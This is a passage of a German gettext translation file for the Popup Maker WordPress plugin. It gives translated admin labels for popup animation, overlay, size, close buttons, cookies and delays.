msgstr "Wähle, wo die Animation beginnen soll."

#: classes/Admin/Popups.php:660 classes/Shortcode/Popup.php:256
msgid "Animation Origin"
msgstr "Animations-Beginn"

#: classes/Admin/Popups.php:647 classes/Shortcode/Popup.php:246
msgid "Set the animation speed for the popup."
msgstr "Lege die Animationsgeschwindigkeit für das Popup fest."

#: classes/Admin/Popups.php:646 classes/Shortcode/Popup.php:245
msgid "Animation Speed"
msgstr "Animationsgeschwindigkeit"

#: classes/Admin/Popups.php:632 classes/Shortcode/Popup.php:238
msgid "Select an animation type for your popup."
msgstr "Wähle eine Animationsart für Dein Popup."

#: classes/Admin/Popups.php:631 classes/Shortcode/Popup.php:237
msgid "Animation Type"
msgstr "Art der Animation"

#: classes/Admin/Popups.php:435 classes/Shortcode/Popup.php:60
#: classes/Shortcode/Popup.php:82
msgid "Animation"
msgstr "Animation"

#: classes/Admin/Popups.php:826 classes/Shortcode/Popup.php:125
msgid "Checking this will disable and hide the overlay for this popup."
msgstr "Wenn du diese Option aktivierst, wird die Überlagerung für das Popup deaktiviert versteckt."

#: classes/Admin/Popups.php:825 classes/Shortcode/Popup.php:124
msgid "Disable Overlay"
msgstr "Überlagerung deaktivieren"

#: classes/Admin/Themes.php:375
msgid "Overlay"
msgstr "Overlay"

#: classes/Admin/Popups.php:608
msgid "Set a custom height for the popup."
msgstr "Wähle eine individuelle Höhe für das Popup."

#: classes/Admin/Popups.php:607 classes/Admin/Themes.php:960
#: classes/Shortcode/Popup.php:150
msgid "Height"
msgstr "Höhe"

#: classes/Admin/Popups.php:619
msgid "Checking this option will add a scroll bar to your content."
msgstr "Wenn du diese Option aktivierst, wird deinem Inhalt eine Bildlaufleiste hinzugefügt."

#: classes/Admin/Popups.php:618
msgid "Scrollable Content"
msgstr "Scrollbarer Inhalt"

#: classes/Admin/Popups.php:599
msgid "Checking this option will set height to fit the content."
msgstr "Wenn du diese Option aktivierst wird die Höhe an den Inhalt angepasst."

#: classes/Admin/Popups.php:598
msgid "Auto Adjusted Height"
msgstr "Automatische Höhenanpassung"

#: classes/Admin/Popups.php:589
msgid "Set a custom width for the popup."
msgstr "Wähle eine individuelle Breite für das Popup."

#: classes/Admin/Popups.php:588 classes/Admin/Themes.php:970
#: classes/Shortcode/Popup.php:139
msgid "Width"
msgstr "Breite"

#: classes/Admin/Popups.php:579
msgid "Set a maximum width for the popup."
msgstr "Lege eine maximale Breite für das Popup fest."

#: classes/Admin/Popups.php:578
msgid "Max Width"
msgstr "Max. Breite"

#: classes/Admin/Popups.php:569
msgid "Set a minimum width for the popup."
msgstr "Lege eine Mindestbreite für das Popup fest."

#: classes/Admin/Popups.php:568
msgid "Min Width"
msgstr "Mindestbreite"

#: classes/Admin/Popups.php:546 classes/Shortcode/Popup.php:132
msgid "Select the size of the popup."
msgstr "Wähle die Größe des Popups."

#: classes/Admin/Popups.php:434 classes/Admin/Popups.php:545
#: classes/Admin/Themes.php:415 classes/Shortcode/Popup.php:131
msgid "Size"
msgstr "Größe"

#: classes/Admin/Popups.php:912
msgid "Checking this will cause popup to close when user presses F4 key."
msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer die F4-Taste drückt."

#: classes/Admin/Popups.php:911
msgid "Press F4 to Close"
msgstr "Zum Schließen F4 drücken"

#: classes/Admin/Popups.php:906
msgid "Checking this will cause popup to close when user presses ESC key."
msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer die ESC-Taste drückt."

#: classes/Admin/Popups.php:905
msgid "Press ESC to Close"
msgstr "Zum Schließen ESC drücken"

#: classes/Admin/Popups.php:900 classes/Shortcode/Popup.php:269
msgid "Checking this will cause popup to close when user clicks on overlay."
msgstr "Wenn Du das Kästchen markierst, wird das Popup geschlossen, sobald ein Nutzer auf die Überlagerung klickt."

#: classes/Admin/Popups.php:899 classes/Shortcode/Popup.php:268
msgid "Click Overlay to Close"
msgstr "Klicken, um Überlagerung zu schließen."

#: classes/Admin/Popups.php:867
msgid "This delays the display of the close button."
msgstr "Dies verzögert die Anzeige des Schließen Buttons."

#: classes/Admin/Popups.php:866
msgid "Close Button Delay"
msgstr "Verzögerung des Schließen-Buttons"

#: classes/Admin/Themes.php:867 classes/Admin/Themes.php:868
#: includes/functions/themes/deprecated.php:134
msgid "CLOSE"
msgstr "Schließen"

#: classes/Admin/Popups.php:859
msgid "Close Text"
msgstr "Schließen-Text"

#: classes/Triggers.php:181
msgid "Extra CSS Selectors"
msgstr "Zusätzliche CSS-Selektoren"

#: classes/Cookies.php:264
msgid "Cookie Key"
msgstr "Cookie-Key"

#: classes/Cookies.php:257 classes/Shortcode/PopupCookie.php:60
msgid "Sitewide Cookie"
msgstr "Seitenweites Cookie"

#: classes/Cookies.php:236 classes/Shortcode/PopupCookie.php:54
msgid "Cookie Time"
msgstr "Cookie-Laufzeit"

#: classes/Cookies.php:246
msgid "Session cookies expire when the user closes their browser."
msgstr "Session Cookies verfallen wenn die Benutzer ihren Browser schließen."

#: classes/Cookies.php:245
msgid "Use Session Cookie?"
msgstr "Sitzungs-Cookie verwenden?"

#: classes/Triggers.php:205 classes/Triggers.php:237
msgid "The delay before the popup will open in milliseconds."
msgstr "Die Verzögerung in Millisekunden bevor das Popup sich öffnet."

#: classes/Admin/Popups.php:885 classes/Shortcode/Subscribe.php:421
#: classes/Triggers.php:199 classes/Triggers.php:204 classes/Triggers.php:236
#: includes/integrations/class-pum-cf7.php:153
#: includes/integrations/class-pum-gravity-forms.php:144
#: includes/integrations/ninja-forms/Actions/ClosePopup.php:53
msgid "Delay"
msgstr "Verzögerung"

#: classes/Admin/Popups.php:1439
msgid "Show all tags"
msgstr "Alle Schlagwörter anzeigen"

#: classes/Admin/Popups.php:1418
msgid "Show all categories"
msgstr "Alle Kategorien anzeigen"

#: classes/Admin/Pages.php:156 classes/Admin/Popups.php:1219
#: classes/Conditions.php:113
msgid "Tags"
msgstr "Schlagwörter"

#: classes/Admin/Pages.php:155 classes/Admin/Popups.php:1223
#: classes/Conditions.php:112
msgid "Categories"
msgstr "Kategorien"

#: classes/Admin/Popups.php:1206 classes/Admin/Themes.php:377
msgid "Title"
msgstr "Titel"

#: classes/Admin/Popups.php:1204 classes/Admin/Templates.php:698
#: classes/Privacy.php:239 classes/Shortcode/Subscribe.php:195
#: classes/Shortcode/Subscribe.php:249
msgid "Name"
msgstr "Name"

#: classes/Shortcode/Subscribe.php:433
#: includes/integrations/class-pum-cf7.php:167
#: includes/integrations/class-pum-gravity-forms.php:158
#: includes/integrations/ninja-forms/Actions/OpenPopup.php:45
#: includes/modules/admin-bar.php:117 dist/block-editor/block-editor.js:6
msgid "Open Popup"
msgstr "Popup öffnen"

#: classes/Admin/Extend.php:124 classes/Admin/Notices.php:67
#: classes/Admin/Onboarding.php:68 classes/AssetCache.php:672
#: classes/Telemetry.php:271
msgid "Learn more"
msgstr "Erfahre mehr"

#: classes/Admin/Onboarding.php:304
msgid "Welcome to Popup Maker!"
msgstr "Willkommen beim Popup Maker!"

#: classes/Admin/Settings.php:741
msgid "Extensions"
msgstr "Erweiterungen"

#: classes/Admin/Pages.php:76 classes/Admin/Pages.php:165
#: includes/modules/admin-bar.php:216
msgid "Tools"
msgstr "Werkzeuge"

#: classes/Admin.php:65 classes/Admin/Pages.php:61 classes/Admin/Pages.php:164
#: classes/Admin/Templates.php:426 classes/Admin/Templates.php:699
#: classes/Site/Assets.php:290
msgid "Settings"
msgstr "Einstellungen"